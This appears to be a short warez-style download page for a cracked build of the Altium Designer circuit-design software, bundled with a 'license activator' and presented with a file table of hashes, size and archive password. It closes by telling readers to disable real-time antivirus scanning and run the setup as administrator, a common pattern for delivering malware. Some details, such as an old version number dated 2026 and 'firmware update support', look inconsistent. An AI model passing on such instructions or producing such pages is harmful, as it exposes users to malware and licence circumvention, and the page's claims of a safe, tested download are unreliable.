Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Altium_Designer_v11.18_x64_setup.zip |
| Version | v11.18.6282 build 20819 |
| File Size | 1.85 GB (1895 MB) |
| MD5 Hash | d21a7fc83fd3dd4f9074fd05d8695a20 |
| SHA-256 | bb3a46c7c343352754de526537285039145fd7531b44ff277fb5cda6c5dd84c5 |
| Release Date | 2026-10-26 |
| Platform | Windows 11 Pro / Enterprise |
| Archive Password | verified |
| License Type | Full / Retail |
With our updated distribution package for Altium Designer latest firmware update support, users can deploy professional-grade software without licensing interruptions. Make sure to disable real-time antivirus scanning before extracting the archive, then run the setup as administrator.